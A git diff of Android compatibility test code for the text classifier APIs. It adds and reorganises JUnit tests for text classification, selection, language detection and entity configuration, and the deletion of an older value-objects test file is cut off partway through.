-    private static void assertValidResult(ConversationActions conversationActions) {
-        assertNotNull(conversationActions);
-        List<ConversationAction> conversationActionsList =
-                conversationActions.getConversationActions();
-        assertNotNull(conversationActionsList);
-        for (ConversationAction conversationAction : conversationActionsList) {
-            assertThat(conversationAction.getType()).isNotNull();
-            assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
-        }
-    }
 }
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
new file mode 100644
index 0000000..5f18026
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent;
+import android.app.RemoteAction;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.view.View;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextClassificationTest {
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+
+    private static final double ACCEPTED_DELTA = 0.0000001;
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+    private static final int START = 5;
+    private static final int END = 20;
+    private static final String ID = "id123";
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
+
+    @Test
+    public void testTextClassification() {
+        final float addressScore = 0.1f;
+        final float emailScore = 0.9f;
+        final PendingIntent intent1 = PendingIntent.getActivity(
+                InstrumentationRegistry.getTargetContext(),
+                0,
+                new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        final String label1 = "label1";
+        final String description1 = "description1";
+        final Icon icon1 = generateTestIcon(16, 16, Color.RED);
+        final PendingIntent intent2 = PendingIntent.getActivity(
+                InstrumentationRegistry.getTargetContext(),
+                0,
+                new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        final String label2 = "label2";
+        final String description2 = "description2";
+        final Icon icon2 = generateTestIcon(16, 16, Color.GREEN);
+
+        final TextClassification classification = new TextClassification.Builder()
+                .setText(TEXT)
+                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
+                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
+                .addAction(new RemoteAction(icon1, label1, description1, intent1))
+                .addAction(new RemoteAction(icon2, label2, description2, intent2))
+                .setId(ID)
+                .setExtras(BUNDLE)
+                .build();
+
+        assertEquals(TEXT, classification.getText());
+        assertEquals(2, classification.getEntityCount());
+        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
+        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
+        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
+                ACCEPTED_DELTA);
+        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
+
+        // Legacy API
+        assertNull(classification.getIntent());
+        assertNull(classification.getLabel());
+        assertNull(classification.getIcon());
+        assertNull(classification.getOnClickListener());
+
+        assertEquals(2, classification.getActions().size());
+        assertEquals(label1, classification.getActions().get(0).getTitle());
+        assertEquals(description1, classification.getActions().get(0).getContentDescription());
+        assertEquals(intent1, classification.getActions().get(0).getActionIntent());
+        assertNotNull(classification.getActions().get(0).getIcon());
+        assertEquals(label2, classification.getActions().get(1).getTitle());
+        assertEquals(description2, classification.getActions().get(1).getContentDescription());
+        assertEquals(intent2, classification.getActions().get(1).getActionIntent());
+        assertNotNull(classification.getActions().get(1).getIcon());
+        assertEquals(ID, classification.getId());
+        assertEquals(BUNDLE_VALUE, classification.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextClassificationLegacy() {
+        final float addressScore = 0.1f;
+        final float emailScore = 0.9f;
+        final Intent intent = new Intent();
+        final String label = "label";
+        final Drawable icon = new ColorDrawable(Color.RED);
+        final View.OnClickListener onClick = v -> {
+        };
+
+        final TextClassification classification = new TextClassification.Builder()
+                .setText(TEXT)
+                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
+                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
+                .setIntent(intent)
+                .setLabel(label)
+                .setIcon(icon)
+                .setOnClickListener(onClick)
+                .setId(ID)
+                .build();
+
+        assertEquals(TEXT, classification.getText());
+        assertEquals(2, classification.getEntityCount());
+        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
+        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
+        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
+                ACCEPTED_DELTA);
+        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
+
+        assertEquals(intent, classification.getIntent());
+        assertEquals(label, classification.getLabel());
+        assertEquals(icon, classification.getIcon());
+        assertEquals(onClick, classification.getOnClickListener());
+        assertEquals(ID, classification.getId());
+    }
+
+    @Test
+    public void testTextClassification_defaultValues() {
+        final TextClassification classification = new TextClassification.Builder().build();
+
+        assertEquals(null, classification.getText());
+        assertEquals(0, classification.getEntityCount());
+        assertEquals(null, classification.getIntent());
+        assertEquals(null, classification.getLabel());
+        assertEquals(null, classification.getIcon());
+        assertEquals(null, classification.getOnClickListener());
+        assertEquals(0, classification.getActions().size());
+        assertNull(classification.getId());
+        assertTrue(classification.getExtras().isEmpty());
+    }
+
+    @Test
+    public void testTextClassificationRequest() {
+        final TextClassification.Request request =
+                new TextClassification.Request.Builder(TEXT, START, END)
+                        .setDefaultLocales(LOCALES)
+                        .setExtras(BUNDLE)
+                        .build();
+
+        assertEquals(LOCALES, request.getDefaultLocales());
+        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextClassificationRequest_nullValues() {
+        final TextClassification.Request request =
+                new TextClassification.Request.Builder(TEXT, START, END)
+                        .setDefaultLocales(null)
+                        .build();
+
+        assertNull(request.getDefaultLocales());
+        assertTrue(request.getExtras().isEmpty());
+    }
+
+    @Test
+    public void testTextClassificationRequest_defaultValues() {
+        final TextClassification.Request request =
+                new TextClassification.Request.Builder(TEXT, START, END).build();
+        assertNull(request.getDefaultLocales());
+        assertTrue(request.getExtras().isEmpty());
+    }
+
+    /** Helper to generate Icons for testing. */
+    private static Icon generateTestIcon(int width, int height, int colorValue) {
+        final int numPixels = width * height;
+        final int[] colors = new int[numPixels];
+        for (int i = 0; i < numPixels; ++i) {
+            colors[i] = colorValue;
+        }
+        final Bitmap bitmap = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
+        return Icon.createWithBitmap(bitmap);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index e04c879..3068260 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -32,6 +32,7 @@
 import android.view.textclassifier.TextClassificationSessionId;
 import android.view.textclassifier.TextClassifier;
 import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextSelection;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ApplicationProvider;
@@ -120,7 +121,7 @@
     }
 
     @Test
-    public void testResourceIconsRewrittenToContentUriIcons() throws Exception {
+    public void testResourceIconsRewrittenToContentUriIcons_classifyText() throws Exception {
         final TextClassifier tc = ApplicationProvider.getApplicationContext()
                 .getSystemService(TextClassificationManager.class)
                 .getTextClassifier();
@@ -133,6 +134,22 @@
         assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
     }
 
+    @Test
+    public void testResourceIconsRewrittenToContentUriIcons_suggestSelection() throws Exception {
+        final TextClassifier tc = ApplicationProvider.getApplicationContext()
+                .getSystemService(TextClassificationManager.class)
+                .getTextClassifier();
+        final TextSelection.Request request =
+                new TextSelection.Request.Builder("0800 123 4567", 0, 12)
+                        .setIncludeTextClassification(true)
+                        .build();
+
+        final TextSelection textSelection = tc.suggestSelection(request);
+        final Icon icon = textSelection.getTextClassification().getActions().get(0).getIcon();
+        assertThat(icon.getType()).isEqualTo(Icon.TYPE_URI);
+        assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
+    }
+
     /**
      * Start an Activity from another package that queries the device's TextClassifierService when
      * started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
@@ -154,8 +171,12 @@
                 "android.textclassifier.cts2.QueryTextClassifierServiceActivity"));
         outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
         final Intent broadcastIntent = new Intent(actionQueryActivityFinish);
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, broadcastIntent,
-                0);
+        final PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                    context,
+                    0,
+                    broadcastIntent,
+                    PendingIntent.FLAG_IMMUTABLE);
         outsideActivity.putExtra("finishBroadcast", pendingIntent);
         context.startActivity(outsideActivity);
 
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java
new file mode 100644
index 0000000..af4f8bf
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java
@@ -0,0 +1,406 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.icu.util.ULocale;
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.service.textclassifier.TextClassifierService;
+import android.view.textclassifier.ConversationAction;
+import android.view.textclassifier.ConversationActions;
+import android.view.textclassifier.SelectionEvent;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassificationContext;
+import android.view.textclassifier.TextClassificationManager;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextClassifierEvent;
+import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextLinks;
+import android.view.textclassifier.TextSelection;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
+import com.google.common.collect.Range;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+
+@SmallTest
+@RunWith(Parameterized.class)
+public class TextClassifierTest {
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
+    private static final int START = 1;
+    private static final int END = 3;
+    // This text has lots of things that are probably entities in many cases.
+    private static final String TEXT = "An email address is test@example.com. A phone number"
+            + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
+            + " and there's good stuff at https://www.android.com :)";
+    private static final TextSelection.Request TEXT_SELECTION_REQUEST =
+            new TextSelection.Request.Builder(TEXT, START, END)
+                    .setDefaultLocales(LOCALES)
+                    .build();
+    private static final TextClassification.Request TEXT_CLASSIFICATION_REQUEST =
+            new TextClassification.Request.Builder(TEXT, START, END)
+                    .setDefaultLocales(LOCALES)
+                    .build();
+    private static final TextLanguage.Request TEXT_LANGUAGE_REQUEST =
+            new TextLanguage.Request.Builder(TEXT)
+                    .setExtras(BUNDLE)
+                    .build();
+    private static final ConversationActions.Message FIRST_MESSAGE =
+            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_SELF)
+                    .setText(TEXT)
+                    .build();
+    private static final ConversationActions.Message SECOND_MESSAGE =
+            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_OTHERS)
+                    .setText(TEXT)
+                    .build();
+    private static final ConversationActions.Request CONVERSATION_ACTIONS_REQUEST =
+            new ConversationActions.Request.Builder(
+                    Arrays.asList(FIRST_MESSAGE, SECOND_MESSAGE)).build();
+
+    private static final String CURRENT = "current";
+    private static final String SESSION = "session";
+    private static final String DEFAULT = "default";
+    private static final String NO_OP = "no_op";
+
+    @Parameterized.Parameters(name = "{0}")
+    public static Iterable<Object> textClassifierTypes() {
+        return Arrays.asList(CURRENT, SESSION, DEFAULT, NO_OP);
+    }
+
+    @Parameterized.Parameter
+    public String mTextClassifierType;
+
+    private TextClassifier mClassifier;
+
+    @Before
+    public void setup() {
+        TextClassificationManager manager = InstrumentationRegistry.getTargetContext()
+                .getSystemService(TextClassificationManager.class);
+        manager.setTextClassifier(null); // Resets the classifier.
+        if (mTextClassifierType.equals(CURRENT)) {
+            mClassifier = manager.getTextClassifier();
+        } else if (mTextClassifierType.equals(SESSION)) {
+            mClassifier = manager.createTextClassificationSession(
+                    new TextClassificationContext.Builder(
+                            InstrumentationRegistry.getTargetContext().getPackageName(),
+                            TextClassifier.WIDGET_TYPE_TEXTVIEW)
+                            .build());
+        } else if (mTextClassifierType.equals(NO_OP)) {
+            mClassifier = TextClassifier.NO_OP;
+        } else {
+            mClassifier = TextClassifierService.getDefaultTextClassifierImplementation(
+                    InstrumentationRegistry.getTargetContext());
+        }
+    }
+
+    @After
+    public void tearDown() {
+        mClassifier.destroy();
+    }
+
+    @Test
+    public void testTextClassifierDestroy() {
+        mClassifier.destroy();
+        if (mTextClassifierType.equals(SESSION)) {
+            assertEquals(true, mClassifier.isDestroyed());
+        }
+    }
+
+    @Test
+    public void testGetMaxGenerateLinksTextLength() {
+        // TODO(b/143249163): Verify the value get from TextClassificationConstants
+        assertTrue(mClassifier.getMaxGenerateLinksTextLength() >= 0);
+    }
+
+    @Test
+    public void testSmartSelection() {
+        assertValidResult(mClassifier.suggestSelection(TEXT_SELECTION_REQUEST));
+    }
+
+    @Test
+    public void testSuggestSelectionWith4Param() {
+        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+    }
+
+    @Test
+    public void testClassifyText() {
+        assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
+    }
+
+    @Test
+    public void testClassifyTextWith4Param() {
+        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+    }
+
+    @Test
+    public void testGenerateLinks() {
+        assertValidResult(mClassifier.generateLinks(new TextLinks.Request.Builder(TEXT).build()));
+    }
+
+    @Test
+    public void testSuggestConversationActions() {
+        ConversationActions conversationActions =
+                mClassifier.suggestConversationActions(CONVERSATION_ACTIONS_REQUEST);
+
+        assertValidResult(conversationActions);
+    }
+
+    @Test
+    public void testLanguageDetection() {
+        assertValidResult(mClassifier.detectLanguage(TEXT_LANGUAGE_REQUEST));
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testLanguageDetection_nullRequest() {
+        assertValidResult(mClassifier.detectLanguage(null));
+    }
+
+    @Test
+    public void testOnSelectionEvent() {
+        // Doesn't crash.
+        mClassifier.onSelectionEvent(
+                SelectionEvent.createSelectionStartedEvent(SelectionEvent.INVOCATION_MANUAL, 0));
+    }
+
+    @Test
+    public void testOnTextClassifierEvent() {
+        // Doesn't crash.
+        mClassifier.onTextClassifierEvent(
+                new TextClassifierEvent.ConversationActionsEvent.Builder(
+                        TextClassifierEvent.TYPE_SMART_ACTION)
+                        .build());
+    }
+
+    @Test
+    public void testResolveEntityListModifications_only_hints() {
+        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.createWithHints(
+                Arrays.asList("some_hint"));
+        assertEquals(1, entityConfig.getHints().size());
+        assertTrue(entityConfig.getHints().contains("some_hint"));
+        assertEquals(new HashSet<String>(Arrays.asList("foo", "bar")),
+                entityConfig.resolveEntityListModifications(Arrays.asList("foo", "bar")));
+    }
+
+    @Test
+    public void testResolveEntityListModifications_include_exclude() {
+        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.create(
+                Arrays.asList("some_hint"),
+                Arrays.asList("a", "b", "c"),
+                Arrays.asList("b", "d", "x"));
+        assertEquals(1, entityConfig.getHints().size());
+        assertTrue(entityConfig.getHints().contains("some_hint"));
+        assertEquals(new HashSet(Arrays.asList("a", "c", "w")),
+                new HashSet(entityConfig.resolveEntityListModifications(
+                        Arrays.asList("c", "w", "x"))));
+    }
+
+    @Test
+    public void testResolveEntityListModifications_explicit() {
+        TextClassifier.EntityConfig entityConfig =
+                TextClassifier.EntityConfig.createWithExplicitEntityList(Arrays.asList("a", "b"));
+        assertEquals(Collections.EMPTY_LIST, entityConfig.getHints());
+        assertEquals(new HashSet<String>(Arrays.asList("a", "b")),
+                entityConfig.resolveEntityListModifications(Arrays.asList("w", "x")));
+    }
+
+    @Test
+    public void testEntityConfig_full() {
+        TextClassifier.EntityConfig entityConfig =
+                new TextClassifier.EntityConfig.Builder()
+                        .setIncludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
+                        .setExcludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
+                        .build();
+
+        TextClassifier.EntityConfig recovered =
+                parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
+
+        assertFullEntityConfig(entityConfig);
+        assertFullEntityConfig(recovered);
+    }
+
+    @Test
+    public void testEntityConfig_full_notIncludeTypesFromTextClassifier() {
+        TextClassifier.EntityConfig entityConfig =
+                new TextClassifier.EntityConfig.Builder()
+                        .includeTypesFromTextClassifier(false)
+                        .setIncludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
+                        .setExcludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
+                        .build();
+
+        TextClassifier.EntityConfig recovered =
+                parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
+
+        assertFullEntityConfig_notIncludeTypesFromTextClassifier(entityConfig);
+        assertFullEntityConfig_notIncludeTypesFromTextClassifier(recovered);
+    }
+
+    @Test
+    public void testEntityConfig_minimal() {
+        TextClassifier.EntityConfig entityConfig =
+                new TextClassifier.EntityConfig.Builder().build();
+
+        TextClassifier.EntityConfig recovered =
+                parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
+
+        assertMinimalEntityConfig(entityConfig);
+        assertMinimalEntityConfig(recovered);
+    }
+
+    private static void assertValidResult(TextSelection selection) {
+        assertNotNull(selection);
+        assertTrue(selection.getSelectionStartIndex() >= 0);
+        assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
+        assertTrue(selection.getEntityCount() >= 0);
+        for (int i = 0; i < selection.getEntityCount(); i++) {
+            final String entity = selection.getEntity(i);
+            assertNotNull(entity);
+            final float confidenceScore = selection.getConfidenceScore(entity);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+        assertThat(selection.getTextClassification()).isNull();
+    }
+
+    private static void assertValidResult(TextClassification classification) {
+        assertNotNull(classification);
+        assertTrue(classification.getEntityCount() >= 0);
+        for (int i = 0; i < classification.getEntityCount(); i++) {
+            final String entity = classification.getEntity(i);
+            assertNotNull(entity);
+            final float confidenceScore = classification.getConfidenceScore(entity);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+        assertNotNull(classification.getActions());
+    }
+
+    private static void assertValidResult(TextLinks links) {
+        assertNotNull(links);
+        for (TextLinks.TextLink link : links.getLinks()) {
+            assertTrue(link.getEntityCount() > 0);
+            assertTrue(link.getStart() >= 0);
+            assertTrue(link.getStart() <= link.getEnd());
+            for (int i = 0; i < link.getEntityCount(); i++) {
+                String entityType = link.getEntity(i);
+                assertNotNull(entityType);
+                final float confidenceScore = link.getConfidenceScore(entityType);
+                assertTrue(confidenceScore >= 0);
+                assertTrue(confidenceScore <= 1);
+            }
+        }
+    }
+
+    private static void assertValidResult(TextLanguage language) {
+        assertNotNull(language);
+        assertNotNull(language.getExtras());
+        assertTrue(language.getLocaleHypothesisCount() >= 0);
+        for (int i = 0; i < language.getLocaleHypothesisCount(); i++) {
+            final ULocale locale = language.getLocale(i);
+            assertNotNull(locale);
+            final float confidenceScore = language.getConfidenceScore(locale);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+    }
+
+    private static void assertValidResult(ConversationActions conversationActions) {
+        assertNotNull(conversationActions);
+        List<ConversationAction> conversationActionsList =
+                conversationActions.getConversationActions();
+        assertNotNull(conversationActionsList);
+        for (ConversationAction conversationAction : conversationActionsList) {
+            assertThat(conversationAction.getType()).isNotNull();
+            assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
+        }
+    }
+
+    private static void assertFullEntityConfig_notIncludeTypesFromTextClassifier(
+            TextClassifier.EntityConfig typeConfig) {
+        List<String> extraTypesFromTextClassifier = Arrays.asList(
+                ConversationAction.TYPE_CALL_PHONE,
+                ConversationAction.TYPE_CREATE_REMINDER);
+
+        Collection<String> resolvedTypes =
+                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
+
+        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isFalse();
+        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
+                .containsExactly(ConversationAction.TYPE_OPEN_URL);
+        assertThat(resolvedTypes).containsExactly(ConversationAction.TYPE_OPEN_URL);
+    }
+
+    private static void assertFullEntityConfig(TextClassifier.EntityConfig typeConfig) {
+        List<String> extraTypesFromTextClassifier = Arrays.asList(
+                ConversationAction.TYPE_CALL_PHONE,
+                ConversationAction.TYPE_CREATE_REMINDER);
+
+        Collection<String> resolvedTypes =
+                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
+
+        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
+        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
+                .containsExactly(ConversationAction.TYPE_OPEN_URL);
+        assertThat(resolvedTypes).containsExactly(
+                ConversationAction.TYPE_OPEN_URL, ConversationAction.TYPE_CREATE_REMINDER);
+    }
+
+    private static void assertMinimalEntityConfig(TextClassifier.EntityConfig typeConfig) {
+        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
+        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList())).isEmpty();
+        assertThat(typeConfig.resolveEntityListModifications(
+                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))).containsExactly(
+                ConversationAction.TYPE_OPEN_URL);
+    }
+
+    private static <T extends Parcelable> T parcelizeDeparcelize(
+            T parcelable, Parcelable.Creator<T> creator) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        return creator.createFromParcel(parcel);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
deleted file mode 100644
index 1d7ac22..0000000
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
+++ /dev/null
@@ -1,599 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.textclassifier.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.app.PendingIntent;
-import android.app.RemoteAction;
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.drawable.ColorDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Icon;
-import android.icu.util.ULocale;
-import android.os.Bundle;
-import android.os.LocaleList;
-import android.text.Spannable;
-import android.text.SpannableString;
-import android.text.Spanned;
-import android.text.style.URLSpan;
-import android.view.View;
-import android.view.textclassifier.TextClassification;
-import android.view.textclassifier.TextClassifier;
-import android.view.textclassifier.TextLanguage;
-import android.view.textclassifier.TextLinks;
-import android.view.textclassifier.TextSelection;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.common.collect.ImmutableMap;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.time.Instant;
-import java.time.ZoneId;
-import java.time.ZonedDateTime;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-
-/**
- * TextClassifier value objects tests.
- *
- * <p>Contains unit tests for value objects passed to/from TextClassifier APIs.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class TextClassifierValueObjectsTest {
-
-    private static final float EPSILON = 0.000001f;
-    private static final String BUNDLE_KEY = "key";
-    private static final String BUNDLE_VALUE = "value";
-    private static final Bundle BUNDLE = new Bundle();
-
-    static {
-        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
-    }
-
-    private static final double ACCEPTED_DELTA = 0.0000001;
-    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
-    private static final int START = 5;
-    private static final int END = 20;
-    private static final int ANOTHER_START = 22;
-    private static final int ANOTHER_END = 24;
-    private static final String ID = "id123";
-    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
-
-    @Test
-    public void testTextSelection() {
-        final float addressScore = 0.1f;
-        final float emailScore = 0.9f;
-
-        final TextSelection selection = new TextSelection.Builder(START, END)
-                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
-                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
-                .setId(ID)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(START, selection.getSelectionStartIndex());
-        assertEquals(END, selection.getSelectionEndIndex());
-        assertEquals(2, selection.getEntityCount());
-        assertEquals(TextClassifier.TYPE_EMAIL, selection.getEntity(0));
-        assertEquals(TextClassifier.TYPE_ADDRESS, selection.getEntity(1));
-        assertEquals(addressScore, selection.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(emailScore, selection.getConfidenceScore(TextClassifier.TYPE_EMAIL),
-                ACCEPTED_DELTA);
-        assertEquals(0, selection.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-        assertEquals(ID, selection.getId());
-        assertEquals(BUNDLE_VALUE, selection.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextSelection_differentParams() {
-        final int start = 0;
-        final int end = 1;
-        final float confidenceScore = 0.5f;
-        final String id = "2hukwu3m3k44f1gb0";
-
-        final TextSelection selection = new TextSelection.Builder(start, end)
-                .setEntityType(TextClassifier.TYPE_URL, confidenceScore)
-                .setId(id)
-                .build();
-
-        assertEquals(start, selection.getSelectionStartIndex());
-        assertEquals(end, selection.getSelectionEndIndex());
-        assertEquals(1, selection.getEntityCount());
-        assertEquals(TextClassifier.TYPE_URL, selection.getEntity(0));
-        assertEquals(confidenceScore, selection.getConfidenceScore(TextClassifier.TYPE_URL),
-                ACCEPTED_DELTA);
-        assertEquals(0, selection.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-        assertEquals(id, selection.getId());
-    }
-
-    @Test
-    public void testTextSelection_defaultValues() {
-        TextSelection selection = new TextSelection.Builder(START, END).build();
